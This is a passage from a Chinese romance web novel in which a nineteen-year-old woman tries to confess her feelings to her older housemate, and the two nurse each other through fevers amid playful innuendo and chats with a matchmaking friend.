一种微妙情愫随之在心间破土而出,伴着窗外喧嚣的雨声肆意生长,时千岁隐隐觉得抓住了些什么,又似乎不太确定。
大春接下来的一句话一语惊醒梦中人。
big春:【你想让她当你女朋友吗?】
时千岁心中一个明确的声音回答道“想”但回复大春时却犹豫了,到底不过十九岁的年纪,实在是无法确定内心滋生出的情愫到底是不是喜欢,再加上上一段无疾而终的感情多多少少在她心里留下了浅浅的阴影,以至于她不想再次不明不白的深陷其中。
时千岁又抛过去一句预示着无限可能的话:【还不太确定。】
接着又补了一句:【喜欢一个人是什么感觉?】
发完她就后悔了,问一块感情经验为零的木头什么是喜欢不就等同于对牛弹琴?
谁料大春很快回复:【这题我熟。】
时千岁:“???”
“嗖”的一声对面传来了满满一屏幕的问题。
有条有理的,根本不像大春会思考的事,时千岁直觉:【魔镜?你是不是有情况了?】
大春否定的很干脆以至于时千岁完全想象不到手机那头的大春全身上下泛起了红如同一只煮熟的小龙虾。
big春:【魔镜就是Deepseek。】
时千岁:“”信了她的邪,这个“魔镜”居然连人都不是!
她深深的怀疑自己是不是有点急病乱投医了,但此时此刻也没有其他法子。
时千岁耐下性子一条一条往下滑。
1总是情不自禁的看她。
美女谁不喜欢看,时千岁不以为然。
2能第一眼在人群中发现她的身影。
那不很正常,比较言浠那么出挑。
3喜欢她的味道,忍不住靠近。
时千岁指尖停留一瞬,接着向下滑
亲密接触会脸红。
独处会心跳加速。
想亲
时千岁眼睛越睁越大,最后激动地坐了起来,紧握着手机,十指如飞。
【每一条都中了!而且远不止如此,我还经常梦到她,春梦!两次!】
时千岁这样那样的形容一番,甩给了大春一篇八百字小作文,写爽了,在床上翻滚了一圈,拿起手机点击撤回。
big春:【没看到,啊啊啊啊!】
时千岁:【淡定,少儿不宜。】
big春:【那你觉得她对你呢?】
时千岁看着天花板,仔细地回想了一下两人这些天的相处,从生活方方面面对她的照顾,煮饭喂糖到刚刚的英雄救美,她详详细细的描述了一遍,点击发送,捂着怦怦乱跳的心脏笑得见牙不见眼。
对面蹦出来了好几条消息。
big春:【kswl!!!】
【你们那还有我的位置吗?】
【这个家我一秒都不想呆下去了。】
【千金姐太可怕啦!】
时千岁:“???”
镜头转到时家别墅,蒙在被子里的大春目光炯炯地注视着屏幕中的消息,一遍不够,又从头到尾的翻看一遍,生怕错漏了什么重要信息,随后一脸餍足的把手机捂在了胸口。
熟悉的脚步声响起,由远及近,最后停留在大春的门口。
“大春妹妹。”
时千金的声音丝丝绕绕,裹挟着诱惑的语调从大门缝隙中飘了进来,落进了大春的心里,轻轻地在那片柔软之地搅弄着。
大春才消退的绯色卷土重来,顷刻间便席卷了全身,她想打开被子透口气,但又怕弄出来的声响惊扰了门外之人,只能紧紧抿住了唇。
“我知道你没睡。”
大春:“!!!”
内心尖叫,啊啊啊啊!
有种说人坏话被当场抓包的感觉。
大春撤回消息,打上了“晚安”两个字,按灭了屏幕,欲盖弥彰的闭上了眼睛。
四周一片黑暗,只剩时千金不依不饶的声音持续飘荡。
“要不要姐姐陪你睡~”
手机那头的时千岁看着满屏的撤回以及最后落下的那句“晚安”顿时有些无语。
吃完瓜就跑,真没意思,不过此时的时千岁无暇顾及其他,刚刚确定心意的她控制不住地想要去见上一面言浠,也不知道她睡没睡。
披上毯子,时千岁轻快地跳下床,小跑到言浠卧室门口,手虚虚地搭在门把手上,这会儿突然有点忐忑。
等下要说什么以及言浠会不会把她赶出去?
时千岁扭捏地咬了咬下唇,轻轻唤了一声,“言浠姐。”
“你睡了吗?”
“也没什么事,就是想问问你有女朋友吗?或者你有喜欢的人吗?”时千岁紧张地揪着裙摆,目光从卧室大门移到了脚尖上,“要是没有的话,你考虑一下我?”
“身高170体重96,幽默风趣、热情黏人,不冷暴力超会哄人,漂亮多金的纯情女大。”
“最近长胖了一斤,嘿嘿。”
“然后我的家庭情况你应该是知道的,我老爸时来运转中彩票发家,后来倒腾地皮成立了来运集团,我老妈呢本家是商政联姻,家底丰厚。我们家大概属于A10家庭吧,应该还对付的过去。嗯我手上有三张银行卡,一份是股份分红,一份是压岁钱攒的小金库,还有一张用以日常开销用度。”
“没收了两张,剩下一张大概还有几百个,密码是051210。”
时千岁想了想没什么要补充了,忐忑等里面人回话。
一片静谧无声。
睡着了?
时千岁抿唇,不死心地拧动了下门把手。
“咯吱”一声。
卧室门打开了一条缝隙,里边黑漆漆的。
嗯?这次没锁门?时千岁内心挣扎两秒,好奇心驱使她迈进了这片言浠曾明令禁止踏入的私人领域。
屋内窗帘紧闭,只有写字桌上支起的笔记本电脑发出莹莹微光,时千岁摸索着向前,肩膀撞上了一旁的立柜,疼痛袭来,闷哼一声,她抬手揉了揉,待缓和后,闭了下眼适应了屋内昏暗的光线。
立柜大约一人高,里边全是各种样式的酒和酒具,见过或未见过的、开封或未开封的。
时千岁忍不住惊叹出声。
床上人影听到动静发出了一声质问。
“谁让你进来的?”
或是淋了雨,言浠晚上有点头痛,字都没码完便早早上了床,一直处于浑浑噩噩半睡半醒中,这会对小家伙的打扰实在没有了好脾气。
时千岁一怔,接着眼睛亮了亮,快步走向床前,“言浠姐,你没睡呀?”那那那那刚刚的表白,她会同意嘛
时千岁紧张到腿软,索性蹲到床边,一瞬不瞬地盯着床上人的背影,等待着她的回应。
客厅打进来的光线刺眼,言浠抬手揉了揉跳动的愈发强烈的太阳穴,“你刚刚在门口干什么呢?”刚要睡着就听见小家伙自顾自的念念叨叨,也不知道在念叨什么!才安静了几秒钟又闯了进来,言浠语气里的燥意难以压制“没事就出去!”
时千岁:“!!!”
刚刚那么真诚的表白她居然没听见?
没关系,那就再来一遍,时千岁毫不气馁,“有事。”
“言浠姐你能不能转过身,认真听我说”
床垫“咯吱”一响,言浠转过了身。
“说。”
时千岁隔着茫茫黑暗感受到了一道紧密的目光落在脸上,她耳尖倏地红了,灼热感徐徐蔓延,话到嘴边变得磕磕绊绊,“我那个就是”
“嗯?”
时千岁在心里给了自己一巴掌,好没出息。
她深呼吸,稳了稳此刻躁动的心跳,一把抓住了言浠落在床边的手。
掌心相触的那一刻,时千岁刚刚在脑海中编辑好的话术瞬间瓦解,她敏锐的察觉到一丝异样。
言浠的掌心沁出了细细的薄汗,温度也烫人。
时千岁久病的经验告诉她,眼前人生病了!
她瞬间站起身,摸索到了床头灯。
橙黄的灯光顷刻间盈满卧室,时千岁目光所及的先是散落在旁的半瓶威士忌,再是床上那眉头紧紧蹙起的人。
言浠的眼睛布满了血丝,脸色呈现出了一种病态的潮红,时千岁往前探了探身子用手背试探她的体温,收回手时带来了一股浓郁的酒气。
像是有一只无形的手捏住了心脏,泛起丝丝痛意,时千岁眼底苦涩,居高临下的看着眼前人。
“不知道自己生病了吗?”
“还喝酒!”
“不懂得好好照顾自己吗?”
眼前小家伙眼圈红着,语气是前所未有的严肃。
好凶,还把自己凶哭了
言浠心底柔软,对时千岁今晚的越界举动和连番质问再也生不出来一点气,“我没有察觉。”
她很少生病,上次生病还要追溯到几年前那时候国外出差实在是因为水土不服,所以今天只是淋了雨,她根本没把身体上的那点不适放在心上,言浠实话实说。
时千岁气到不行,倏地甩开言浠的手,向门外走去。
掌心一空,心里突然空落落的,言浠捻了捻手指感受着残留的温度,慢慢支起身子半依在床边,朝着离去的身影问道,“你去哪?”
时千岁余光向后瞧了一眼,没答话,转身去了卫生间端了盆热水出来,又蹲在茶几旁翻到了一个体温计,重新回到了言浠的卧室。
言浠定定的看着眼前人,舔了舔干涩的嘴唇。
时千岁把体温表甩好,手探进毯子。
言浠想说“我自己来”又被时千岁一个眼神堵了回去。
时千岁把体温表塞到她的腋下,又跑出去端了一杯温水,一口一口的喂进了言浠口中,这次言浠没有再说什么,只是静静地看着她。
五分钟后,时千岁把温度表拿出,对着光看清了上边的温度,38度4。
她拉了把椅子到床边,把水盆放上去,弯下腰投洗毛巾,“家里没有退烧药吗?”
“不用。”
时千岁不满地瞪了她一眼。
言浠从善如流,改口,“我没有准备。”
哼,就是随口问下以备不时之需,这个温度适合物理降温,况且她还喝酒了。时千岁久病成医,熟稔地拧干了毛巾,掀开了毯子。
言浠神情闪过一丝慌乱,急忙拉住毯子一角,“干什么?”
时千岁:“”
能干什么?难不成霸王硬上弓吗?
她倒是想,但言浠现在这副样子能行吗?
时千岁觑了她一眼,言简意赅,“放手。”
言浠犹豫片刻顺从的放开了手。
好乖啊,连眼神都含情脉脉的,要是以后都这样她能幸福的昏过去,时千岁得寸进尺的想。
坐到床边,时千岁用热毛巾轻轻擦拭着言浠的脸。
从额头到耳后。
忍不住感叹,这张脸生的怎么这么完美,皮肤也光滑。
眼下人眼尾烧出来了一抹灼人的红,比以往多了些妩媚,真勾人,时千岁忍不住直咽口水。
小说里讲,人在**的时候体温会升高,言浠在床上是不是这幅样子?
指腹有意无意的触碰她的肌肤。
好烫,时千岁忍不住想入非非。
言浠看着眼前人逐渐上扬的嘴角,不禁疑惑,“你笑什么?”
时千岁:“!*!!”
笑了吗?她笑了吗?
时千岁赶忙收敛思绪,并在心里怒骂自己,心上人还在生病,自己居然想这些乱七八糟!
她连忙把毛巾投到热水里,拧干,继续往下擦拭。
热毛巾擦过漂亮脖颈,肩头,到腋下,顺着手臂停留在手上。
从掌心到指跟,仔仔细细。
时千岁从第一眼见到言浠时,就觉得这双手特好看,白皙、纤长,骨节分明,一看就很有劲儿。
嘿嘿嘿。
无意中,时千岁触碰到了她指腹上的薄茧。
眼睛一亮,脑子里情不自禁地开起了云霄飞车。
听说指腹有薄茧按摩起来很舒服。
嘿嘿嘿。
言浠:“???”
“你摸我手干什么?”
时千岁:“!!!”
她飞快地站起身,给了自己轻轻一巴掌。
没出息!
言浠:“?????”
【作者有话说】
前边改动了三个人设“时父,梁母和大春”、大春和千金的感情状态以及大春在之前有过一次短暂的助攻伏笔,如果没看改后的读者,可能会觉得前边这段和原来版本有点连接不上。
22
第22章
◎再继续要发大水了!◎
言浠实在无法理解眼前小家伙的怪异举动,斟酌片刻,说道,“要不你继续?”
时千岁:“”再继续要发大水了!
她一言不发地端起水盆,去卫生间重新换上了一盆热水,顺便洗了个脸恢复清明,这才重新回到卧室继续给她擦拭身体物理降温。
时间流逝窗外雨声渐止。
言浠渐渐感觉身体舒适不少,两个眼皮发沉。
时千岁又测了遍体温,38度,见物理降温起了效果,她给言浠仔细掖好毯子,关上床头灯,起身来到写字台前打算关闭室内唯一光源。
手才碰触到鼠标,言浠警觉睁眼,挣扎着要起来,“别动。”
大抵是电脑里有一些关于工作的私密文件,时千金就是这样在家里从不让她碰这些,时千岁没多想,默默缩回了手。
“知道了。”
时千岁转身端起水盆,道了句晚安,带上了卧室门
回到侧卧,时千岁把自己抛到了大床上,此时的她一点睡意没有。
她摸到手机,指尖向上一滑,翻开了大春的聊天框。
【big春,在吗?收到请回复。】
【才两点钟就睡了吗?年纪轻轻你也不行啊,(得意.jpg)】
【告诉你个重磅消息,我跟言浠表白了!】
对话框头顶亮起了“正在输入中”的字样,不出两秒,大春的消息便传送了过来。
big春:【然后呢然后呢然后呢!】
时千岁:“”
总觉得大春现在的样子像极了一个黑暗中偷偷摸摸满世界找瓜吃的猹。
她没有直接告诉大春答案,而是把刚刚照顾言浠的画面添油加醋不,是用适当的夸张手法形容了一番。
【我可太厉害了,居然这么会照顾人,言浠感动的快要哭出来了!要是错过我天底下再也找不着这么优秀的女朋友了!】
【今天能表白,明天就能谈恋爱,后天就能结婚。】
【不过,我才十九岁,这么早结婚会不会不太好?都说婚姻是爱情的坟墓】
大春沉默了,沉默的非常明显。
big春:【】
【所以,她没答应是吗?】
时千岁:“”这个大春关键时刻还挺敏锐的!
她纠正:【不是没答应,是根本没听见。】
时千岁这样那样形容了一番,想到后来居然把表白的事完全抛诸脑后,她懊恼的一拍脑袋,关上了手机,再也没有了分享的欲望。
时千岁躺在床上翻来覆去,越想越懊恼。
她怎么没趁言浠生病,借照顾她的名义赖在她房间不走呢!
这不就名正言顺的同居了吗!这时候这个脑子怎么就不转了呢!时千岁恨不得再给自己一巴掌
天微微亮,近乎一夜未睡的时千岁蹑手蹑脚的来到了言浠的卧室门前,把门打开了一条缝隙,向里张望。
卧室光线昏暗,床上的人还在睡着,好看的眉头轻轻蹙起,似是不安。
不知道还烧不烧
时千岁不忍打扰,又轻轻带上了门,拿起手机请好假,她来到厨房巡视了一圈,看了看陌生的厨具,内心生出了一股深深的无力感。
时千岁叹了口气,逐捞起一旁钥匙离开了家门。
初晨的天空灰蒙蒙的,还在飘着淅淅沥沥的小雨。
风一吹,雨滴拍打到脸上,时千岁不自主的打了个寒战。
大意了,这雨居然没停。
还好不大。
时千岁没有折返回去,冒着小雨出了小区,她查找了下附近口碑较好的早餐店,买了花胶干贝粥几样小菜和两笼虾饺,回来时路过药店,还不把家中常备的药物备齐。
等她气喘吁吁拎着大包小包回到了小区,倒霉的事再度出现了。
全小区停电!
那就预示着二十多层楼,时千岁将要一步一步爬上去。
她两眼一黑,当即腿软到不行。
时千岁摸了摸怀中温热的粥,在心里给自己加油打气了足足五分钟,掏出手机,给大春拍了张照片。
【(图片)化身爱的战士!早起给言浠买早餐,我滴个绝世好女友。】
【big春,你说我今天表白会成功吗?】
久未回复,想必还没起,时千岁呼出一口气,迈出了第一步。
楼梯间光线幽暗,感应灯也不灵敏,时千岁本就害怕黑暗,又时不时被堆砌的杂物绊住脚,没爬多久她就因为恐惧而汗如雨下,她迈出的每一步都是对意志力的极大考验,只不过每每闪过放弃的念头时,脑海里就有另一个声音对她说——言浠还在等着你回家。
五层双腿发颤。
十层时千岁眼冒金星。
十五层时千岁胸口剧烈起伏,双腿犹如灌铅一般沉重。
一路歇歇停停,将近一个小时,时千岁终于爬到了家门口,此时她的两条腿抖的厉害,只能用一只手死死的把住门把手,才将将稳住身形,以至于不那么狼狈的栽倒地上。
她把东西放下,颤抖着指尖掏出钥匙,试了几次都没能对准锁眼。
大门咯吱一声,从里打开。
言浠的声音自门口出现,“你去哪了?”
时千岁一愣,欲弯腰捡起地上的袋子,脑袋却是一阵眩晕。
言浠手疾眼快的扶住了她的腰,掌心一片湿热。
时千岁虚弱地笑了笑,“给你买药和早饭。”
下着雨又停了电,小家伙怎么去的?言浠看着她湿漉漉的头发和苍白的脸蛋,心中逐渐有了个猜测。
言浠此刻内心说不出的感动,同时又夹杂着一点愤怒。
这小家伙对自己的身体情况一点也不了解吗
一夜没睡加爬了这么多层楼,体力已然到达了极限,时千岁视线逐渐模糊。
“时千岁?”
在完全陷入黑暗之前,时千岁看见了言浠惊慌失措的脸,以及心底响起了一个糟糕的声音——她好像把一切都搞砸了!
昏睡过去的时千岁朦朦胧胧中好像做了一个梦,梦中言浠为她脱去衣服、擦拭身体,细心的照看着她,闲暇下来处理工作,又因为她每一次粗重的呼吸或微小的动作而紧张不以。
而时千岁灵魂就像是被封印在了躯体里,无法动弹分毫,只能眼睁睁地看着她一个人忙忙碌碌。
不知过了多久,时千岁渐渐转醒。
她缓慢的打量着房间内的一切,一绽发着光亮的小台灯、充着电的手机、半铺在床上的一本纳兰词,还有靠在椅子上休息的女人。
橙黄的光线打在她的侧脸上,为她渡上了一抹温柔。
女人双眸紧闭,长而翘的睫羽如同翩跹的蝴蝶。
女人似有所感地睁开眼,长睫轻颤,那只蝴蝶顺势就落入了时千岁的心里。
“醒了?”
时千岁眼睛发直,“嗯”了一声。
心里话脱口而出,“你要是能当我女朋友就好了。”
静默两秒。
桌上的手机“嗡”的一声响。
与言浠的冷“呵”声混杂在一起。
屏幕上蹦出了big春焦急的询问:【怎么样怎么样怎么样?】
同时言浠似曾相识的话也落到了时千岁的耳边:“我看你病得不轻。”
时千岁一噎,一时之间竟不知道如何反驳。
言浠把床头柜上的凉白开举到时千岁嘴边,示意她张嘴。
时千岁乖乖照做。
言浠往她嘴里塞进了两颗药片,又趁苦味还未泛滥之际快速的往她口中压了一口水。
“时千岁,你懂不懂得照顾自己?”
时千岁眨眨眼,心道,言浠这是把昨天的话又尽数还给她了?风水轮流转啊不过换句话来讲,连生病都前后脚,这算不算也是一种缘分呢?
言浠:“???”
言浠看她神游天外,忍不住按了下她小腿的肌肉。
一股强烈的酸胀感袭来,时千岁直接叫出声,“痛痛痛痛死了。”
“知道痛就好,下雨不知道打伞就算了,还能把自己累晕过去,”言浠嘴上严厉,手中的动作却是一下比一下轻柔。
微凉的指腹轻轻剐蹭着小腿上娇嫩的肌肤,激起阵阵微弱的电流,徐徐向上蔓延,时千岁控制不住的心猿意马。
时千岁轻轻夹了一下腿,压抑着嗓子里夹杂的颤音,“那给你买的粥你吃了吗?”
言浠:“”
都什么时候了,还想着那碗粥。
“吃了!”
时千岁推了推她的手,“我有点饿,你能不能”她此刻没什么食欲,但如果此刻不把言浠支走,恐怕又要一发不可收拾了
言浠走后,时千岁望着天花板缓缓吐出一口气。
拉开毯子一角,发现身上换上了崭新的一套睡裙,时千岁慢慢拖动两条腿,挣扎着坐起来,继续往下看。
内、裤也换成了上次一起挑选的哪款布料少得可怜的黑色蕾丝边
言浠喜欢这一款么时千岁好像发现了什么不得了的事情,一时欣喜,自顾自的傻笑了起来。
笑着笑着,又后知后觉,她好像被言浠看光了,还摸光了。
原来刚刚的梦是真的。
时千岁倏地落下了唇角,满脸惋惜。
怎么就不能等她醒了再摸!
如果是这样
在脑海中即将弹出画面之时,桌上的手机及时的响了一声叫停了那辆蓄势待发的小火车。
时千岁幽怨地撇了下嘴角,一把捞过来查看消息。
映入眼帘的是大春一长串的霸屏消息。
无一例外,话题始终指向了一个方向。
——今天千岁姐表白成功了吗?
成功个屁,不仅没成功还好像又被骂了,时千岁没好气地戳着屏幕。
【淋雨了、生病了、耽搁了!】
不能让大春知道真实情况,她要脸。
大春急忙问。
【怎么回事?要不要紧?需不需要我跟千金姐讲一下,让她找几个医生过去?】
时千岁看见“医生”两字指尖一颤,慌不迭地打上了一句话。
【你啰嗦了!】
她给大春解释一番,后便加了一句:【言浠姐把我照顾的很好。】
提到言浠,时千岁忍不住话多了起来。
【这点小事没必要向时千金打小报告。】
【而且,言浠姐已经狠狠的口头教育我了,说到口】
说到口时千岁刚刚叫停的小火车再次盘旋而至,忽地小腹一紧,脸颊染起了一抹可疑的红晕。
big春:【???】
23
第23章
◎小嘴巴闭起来◎
这次,时千岁一病就是整整三天。
期间发烧反反复复,她整日晕晕沉沉,根本无暇估计其它。
而言浠除了每天的工作,几乎所有的时间都用在了照顾时千岁这件事上,每天衣不解带,睡眠的时间一只手都能数得过来。
纵使铁打的身体也熬不住这样的强度,言浠最近头疼的老毛病犯了,太阳穴跳的厉害,致使她整日裹挟着浓浓燥意。
三天后。
时千岁终于有所好转,言浠上班后,她裹着毯子倚在床边吃言浠为她做的爱心早餐。
这几天饭来张口衣来伸手的日子属实是太幸福,时千岁往口中塞了一大口糖心煎蛋,心也被浓浓的幸福感填满,怎么办言浠再对她这么好,她该恃宠而骄了
时千岁笑的停不下来
吃完饭,时千岁休息了一会,拿起言浠放在床头柜上的药片,做足了心理准备,眼一闭吞了进去。
苦涩在舌尖泛滥,时千岁一瞬表情扭曲,她慌忙摸到一旁的水果糖含进口中,甜味中和,时千岁依旧很糟心,怎么言浠喂的就不苦呢?这就是爱情吗?
拿出体温计,量了个体温,一切正常,时千岁拍了张照片给位于微信置顶备注“两个爱心”的人发过去。
【报告,饭吃光了,药也吃啦,一切正常,我乖吧?】
对面发来一条极其简单的回复。
【嗯。】
时千岁:“”
好冷漠的回复,都不知道夸夸她,还好她早就练成了抗冻体质。
时千岁打开久未登陆的微博,把刚刚的照片抛了上去,配了一行文字。
【生病啦,多亏了这几天女朋友的精心照顾,ps:是谁的女朋友漂亮得像仙女身材性感像妖精,关键温柔体贴善解人意还做得一手好饭?原来是本大王我啊!】
时千岁刚要点击发送,突然又觉得没什么信服度,又在相册里挑挑选选,把言浠前些天为她做的鸡蛋面照片挑出来,加了个滤镜放了上去。
这才点击发送。
她一瞬不瞬地盯着屏幕。
没过几秒,评论区接二连三的弹出红点。
时千岁激动的指尖微微颤抖。
ID一起抓大鹅:【生病了要好好休息,但老师也别太闲,今天更新吗?】
第一条就是催更,真晦气!时千岁自动忽略掉了这条评论。
接着向下滑。
ID曾老湿:【做饭?做什么饭哪种饭?发大水老师今天发大水了吗?】
啧,当今网友怎么比自己还黄?时千岁指尖一顿,在这条评论上点了个赞。
ID77817:【早上好,除了你俩。】
翻了半天评论没找到想看的,时千岁一脸失望,正要关闭微博时,一个ID春意盎然的网友发来了一条评论。
ID春意盎然:【啊啊啊啊,kswl,祝9999999~】
叫“春”的都喜欢磕cp么?时千岁情不自禁的扬起嘴角,真诚的打上了两个字“谢谢”。
刷了会儿微博,时千岁的虚荣心在虚拟的网络世界里得到了极大的满足,刚刚因为言浠那句冷漠回复带给她的那一丁点失落感随之荡然无存。
人一闲下来,这些天因生病而埋藏在心中的小心思便又蠢蠢欲动。
包含着几分冲动的喜欢随着这些天言浠无微不至的照顾愈发强烈,这股让人心神荡漾的情绪在她心中越发明晰,接连两次的失败非但没有让她产生一丝挫败感,反而更坚定了她内心的想法。
时千岁越挫越勇,如果言浠把她的表白当儿戏的话,那么她就用实际行动来表达。
她围着客厅转悠一圈,这看看那摸摸,得出个结论,太空了,完全没有家的感觉。
时千岁拿出手机,网上下单,先是买了一些装饰用的绿植,看了眼简陋的厨房,又把厨具统统买了个遍,想着以后两人可以适当看看电影增加情趣,又买了全套音响和一个150英寸的液晶屏电视,甚至订购了一套真皮沙发。
时千岁仔细思考着还需要添置什么,目光突然注意到了自己脚上的拖鞋。
搬来这里这么些天,脚上依旧是那双客用拖鞋,她撇了眼鞋柜上言浠的那双白色拖鞋,指尖一滑,找了双同款式黑色的放进了购物车,接着是毛巾水杯等等,目之所及买了个遍讲究一个“登对”。
搬运工人进进出出,本就不大的客厅很快被时千岁添置的物件堆满。
时千岁一脸忧愁,她还有一车新鲜食材在路上呢。
还是地方太小。
想到这,时千岁居然动起了买房的念头。
如果两个人住的话,最少也要比她之前住的小平层面积要大,要豪华,带泳池最好,夏天的话还可以一起游泳,来个泳池play,嘿嘿嘿时千岁拍了拍发烫的脸颊,及时止住了歪心思。
时千岁查看豪华地段的房价,又看了眼银行卡余额,惊恐的发现她只剩了一百来万!
好像只能买个厕所!
她悲痛地放弃了这个想法,随手编辑了一条朋友圈。
【我怎么这么穷,啊啊啊啊!】
时千岁一折腾就是一天,忙碌一天的言浠踏着夜色回到家时,正好撞见了前来运送食材的工人。
工人把一箱箱食材堆到了门口,言浠看着一片狼藉的客厅,一时之间竟没找到下脚点。
强烈的疲惫感和无力感一瞬间爆发,太阳穴鼓胀,神经撕扯着头皮,言浠止不住的头疼,咬牙道,“时千岁!”
时千岁从沙发那头钻出来,一脸欣喜的来到言浠面前,手臂一伸向她展示身后,
那句自带配音的“当当当当~”和言浠夹杂着怒意的声音交织在一起。
“限你今晚恢复原状,不然你就给我搬出去住。”
她往卧室走,大门重重一关,带出来的声响把时千岁的一片赤诚也震得七零八碎。
“这么闲的话,明天就去上班。”
言浠站到了窗前一把拉开了紧闭的窗帘,新鲜的空气涌入鼻腔,胸口的堵塞感不减反而徐徐上升。
小家伙刚刚情绪转换的很明显,从开心到错愕,再到之后的难过,似乎只发生在一瞬之间。
她没能错过。
回想小家伙接二连三的越界举动,从肢体接触到私自闯进她卧室,再到刚刚不声不响的在她的私人领域给她制造“惊喜”每一件事都是在悄无声息的入侵她的心理防线。
安全感丧失的同时,心底升起的另一种情绪也在隐隐作祟,逼得她口不择言难以自控,而这种情绪连言浠自己都摸不清看不透。
客厅传来一阵沉重的脚步声。
接着关门,上锁。
言浠心头一紧,彻底冷静了下来,这一刻她懊恼地想,刚刚自己是不是过于凶了?
会不会小家伙凶哭?
言浠抿了抿唇,转身走到门口,做出个连自己都想不出的举动。
她像个小偷一样把耳朵贴到了门上,认真听起外边动静。
一片寂静无声。
言浠手搭到了门把上,一时拿不定主意要不要去看看小家伙。
去的话,要说什么?
她也没有哄人经验啊。
想到这,言浠缩回了手,转而坐回到了床上,拿起了手机。
指尖在屏幕上敲敲打打又删删减减。
最后落为一句带有轻松调侃类型的话语。
【你买哪么多食材是想把我当你保姆吗?】
郁闷躺尸的时千岁余光看见手机亮起,她捞过来,看见屏幕中飘出来的两个爱心时,心中一喜,但她还是按捺住了指尖的动作。
她时千岁也是有脾气的。
时千岁轻轻地“哼”了一声,慢悠悠地点开了聊天框。
当看见对面发来的那行字时,时千岁不可思议的瞪大了眼,从床上弹了起来。
刚凶完自己,这会儿又误会自己的一片真心,怎么会这样。
时千岁“嗖”地一下把手机甩到了床尾,直挺挺地往下一躺,翻了个身,对着墙壁生起了闷气
在言浠的强烈要求下,时千岁退掉了购买的大件家具,只留下了少部分厨具、食材,以及日用品,最后言浠算好价钱,把钱一分不少的转给了时千岁,容不得半点拒绝。
但时千岁此刻还是满意的,毕竟她花小心思买的“情侣用品”统统没被退掉。
时千岁非常乐观地想
言浠说到做到,这次特意等时千岁收拾好,一起下楼前去公司。
言浠走在路上分了神突然一个踉跄。
时千岁急忙拉住了她的手臂,“怎么了言浠姐?”看她眉头紧紧皱着,追问了一句,“不舒服?”
还好意思问,就昨晚那个客厅就收拾到凌晨三点,小家伙可倒好,一觉睡到了天大亮,言浠幽怨地瞪了她一眼,“还不因为你?”
天呢,言浠这是什么眼神和语气,是在撒娇吗?好可爱!
自带三米厚滤镜的时千岁心都要化了。
言浠看着逐渐她勾起的嘴角,挑眉不解,“嗯?”
时千岁急忙收敛,“没什么,没什么。”
“对了言浠姐,你睡眠一直这么不好吗?是不是工作压力大呀?你有没有看过医生?不然睡前喝点牛奶呢,你看我爱喝牛奶所以从来没有这个困扰,再不行我带你去散散心”
时千岁叽叽喳喳说个不停,落在言浠耳朵里犹如五百只鸭子开会。
言浠突然站住了脚,扬起两跟手指,精准无误地捏住了她的双唇,“小嘴巴闭起来。”
时千岁胡乱挥舞手臂:“唔唔唔唔!”
言浠心念一动,看着眼前人因挣扎而泛起泪花的双眼,心头竟闪过了一丝难以察觉的兴奋。
要知道欺负这个小家伙心情会变好,她早就这么干了!
24
第24章
◎!!!时千岁,你是不是恋爱脑又犯了!!!◎
时千岁挣开她,故作气愤的“哼”了一声,背过了身捂唇偷笑,如果她没看错的话言浠好像笑了。
昨晚的那丁点不愉快随着刚刚的举动消失殆尽,时千岁轻快地转动脚尖,拿走了言浠手中的车钥匙,“言浠姐我们和好吧。”
“我决定原谅你了。”
言浠挑眉,对她此番没头没尾的话和举动表示不解。
时千岁把车钥匙抛到空中,钥匙环完美穿过手指,转了个圈收进掌中,“以后不许凶我了。”
“今天我开车,你等下再休息一会儿。”
“看吧,我对你多好,所以你以后要学会接受我对你的好。”
这都哪跟哪儿?言浠跟上她的脚步,目光移向她的手,提出了眼前最重要的问题,“你行吗?”
“嗯?”时千岁顺着她的目光往下,不出意外的她又想歪了,憋在口中的话突然卡了壳。
“什么行不行”也没试过啊,她怎么知道行不行
言浠疑惑地看着眼前人突然泛红的耳尖,知道她可能曲解了自己的意思,但绝对想不到她能曲解到多离谱。
言浠说,“我是说开车。”
一遍不够又连贯起来问了一遍,“我的意思是,你开车能行吗?”
时千岁:“!!!”
又想歪了不是,真丢人!时千岁和自己怄气,自顾自的往前走,声音从不远处飘出来,“怕什么,我可是老司机。”
两人走到小区门口的露天停车点,时千岁按下钥匙,“滴滴”两声,一辆黑色本田小轿车大灯亮了亮。
时千岁本想让言浠在后头舒舒服服的躺一会,但当她拉开后车门,丈量了一下座椅的长度和空间,果断放弃。
该说不说,按言浠的身高,在后边完全施展不开。
时千岁余光偷瞄了一眼身后人比例完美的腿,不坐上去真是可惜,她猛地转身,眼睛闪动着亮光,“要不我给你换个车吧?”
看着小家伙站在车前一动不动的样子,就知道她动了什么歪脑筋,言浠直接打开了副驾驶门,坐了进去,“不换。”
时千岁急,“不是说好以后会接受我对你的好吗?”
言浠总算是理解了小家伙此前说的那番话的含义。
她把挡板拉下,闭上了眼睛,说了一句,“我没答应你,想都别想”后就彻底的陷入了沉默。
好吧,时千岁满脸遗憾地钻进了主驾。
言浠的车上了点年份,没有全景360更没有雷达警报,遇到窄路会车全凭经验和手感,时千岁轻车熟路地穿过窄巷,又在车流密集的高速路上穿梭,一路平稳地开到了公司大楼的地下停车库,瞅准两辆车中间的停车位单手打了把方向盘,一个漂亮的倒车入库,完美的停到了两车中间。
“言浠姐,到了。”
时千岁连续叫了三遍,言浠这才睁开了眼。
“睡得好吗?”
言浠自己都不敢相信一向入睡困难的她居然真的睡着了,或是过于一路行驶过于平稳抑或是小家伙身上那股暖香过于好闻这一觉竟无比香甜,她恍惚地眨眨眼,“几点了?”
时千岁听她嗓音沙哑,拿过一旁的饮用水,拧开盖子递了过去,“7点40,放心吧迟到不了。”
非但没有迟到,反而还提前了十分钟,言浠夸赞,“不错。”
时千岁得意的拍了拍胸脯,“我还有更多厉害的,以后你就知道了。”
还真是一点都不谦虚,言浠亮出拇指和食指,做了个“捏”的手势。
时千岁条件反射的捂住了嘴,“嗖”地跳下了车,“我先走了。”
两人前后脚上楼。
时千岁一进公司便被热情的同事围在了中间嘘寒问暖。
时千岁忙不迭的回应着,嗓子都快说干了。
言浠的身影从办公室门前闪过,时千岁目光一下子被吸引,抬腿就要追上去,“好啦,我没事。”
同事们七嘴八舌,将她拉住。
这个要给她介绍老中医,那个给她塞张瑜伽卡美其名曰增强体质,时千岁手里拿着不知道被谁塞进来的两鸡蛋真诚一抱拳,“感谢大家惦记。”
热情的同事终于四散而去,时千岁得以放松的瘫靠在椅子上,十分无奈,人缘太好怎么办。
脚尖一转,椅背掉了个方向,看向从刚刚起就一言不发的周琦琦,“怎么这么沉默啊?”
周琦琦正顶着两大黑眼圈,整理报表,听到她的询问,两眼一闭脑袋磕向桌子发出沉闷一响,“俺不中嘞~”
